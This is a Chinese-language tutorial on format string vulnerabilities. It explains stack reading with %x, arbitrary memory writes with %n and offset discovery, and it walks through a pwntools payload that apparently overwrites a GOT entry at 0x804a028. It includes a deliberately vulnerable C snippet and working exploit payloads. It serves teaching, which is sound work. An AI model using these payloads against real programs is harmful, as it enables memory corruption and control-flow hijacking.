Format String

原理

使用format parameter可读取Stack上的数据,且通过%n可以写入指定内存。


int main(int argc, char *argv[])
{
	char user_input[100];
	/* other variable definitions and statements */
	scanf("%s", user_input); /* getting a string from user */
	printf(user_input); /* Vulnerable place */
	return 0;
}

当输入字符串为”\x10\x01\x48\x08 %x %x %x %x %s”时,

printf会打印并移动4次指针(%x的数量),到达最后一个字节处后打印出这个地址0x10014808的内容(直到NULL)。用此方法可以泄露任意地址的字符串内容。关键在于找到printf()的第一个参数和user_input之间的offset,这样就能通过输入offset个数的%x定位到用户输入的payload的地址。

当输入字符串为”\x10\x01\x48\x08 %x %x %x %x %n”时,

printf会打印并移动4次指针(%x的数量),到达最后一个字节处后将已打印出的字符数写入地址0x10014808。

一个Exploit的例子:

寻找偏移量

先可输入000011112222.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x试探,

发现输出
000011112222.8048914.ff8b05c8.ff8b061c.f7f7a289.38c.f7bee794.ff8b0874.f7f6a3d0.f7f7a73d.30303030.31313131.32323232.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825

其中30,31,32对应0,1,2的ASCII码,说明能访问user_input的内存地址。这样就找到了偏移(经过多少个%x到达输入字符串开始位置‘0’?)。在这个例子分别是第10,11,12个。

此时输入000011112222.%10$x.%11$x.%12$x试探,

可发现输出正是000011112222.30303030.31313131.32323232

写入任意地址

假设目标地址是0x804a028 ,要在该地址写入0x0804870b

可以使用format string的%d$n来选择被存放于user_input的某个字节的目标地址。

第一次试探:确认第一个$n时输出的字符串长度


fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + fmt_string0 + fmt_string1 + fmt_string2

假设我们该代码在执行printf()后设了breakpoint,此时目标地址的值被写为:
0x804a028: 0x52005252 0xf7000000

其中0x52是output停下时刻的已打印的字符串长度。(若输出数据为“Nice to meet you, xx0000111122223333.30303030.31313131.32323232.33333333 :)”,则等于(标黄色的字符数 - 1)。

第二次试探:确认每次通过$n写入的值

每次利用$n写入前,通过追加一定长度的%x,就可更新写入的值。

第一次写0x0b。可追加 0x10b - 0x52 = 185个字符。其中0x10b的高位1会写到下一个字节0x804a029,但没关系,后面会覆盖。

第二次写0x0487。可再追加 0x0487 - 0x010b = 892个字符。同样,溢出的字符可以忽略。

第三次写0x08。可再追加 0x108 - 0x87 = 129个字符。


#Establish the addresses which we will be writing to
fflush_adr0 = p32(0x804a028)
fflush_adr1 = p32(0x804a029)
fflush_adr2 = p32(0x804a02b)

#Establish the amount of bytes needed to be printed in order to write correct value
flag_val0 = "%185x"
flag_val1 = "%892x"
flag_val2 = "%129x"

#Establish the necessary inputs for our input, so we can write to the addresses
fmt_string0 = "%10$n"
fmt_string1 = "%11$n"
fmt_string2 = "%12$n"

#Form the payload
payload = fflush_adr0 + fflush_adr1 + fflush_adr2 + flag_val0 + fmt_string0 + flag_val1 + fmt_string1 + flag_val2 + fmt_string2

这样,目标地址的值就被写为:
0x804a028: 0x8704870b 0xf7000004